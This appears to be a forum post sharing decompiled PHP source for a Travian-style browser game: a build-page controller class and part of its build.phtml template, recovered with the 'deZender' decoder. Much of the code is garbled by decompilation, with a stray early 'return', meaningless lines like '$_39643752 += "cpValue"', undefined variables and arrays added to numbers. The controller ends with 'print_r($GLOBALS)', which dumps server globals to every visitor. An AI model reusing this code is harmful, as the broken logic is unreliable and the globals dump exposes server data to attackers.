    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @    Version            :    1.0.0.0* @    Author            :    Ps2Gamer & Cyko* @    Release on        :    30.05.2011* @    Official site    :    http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" 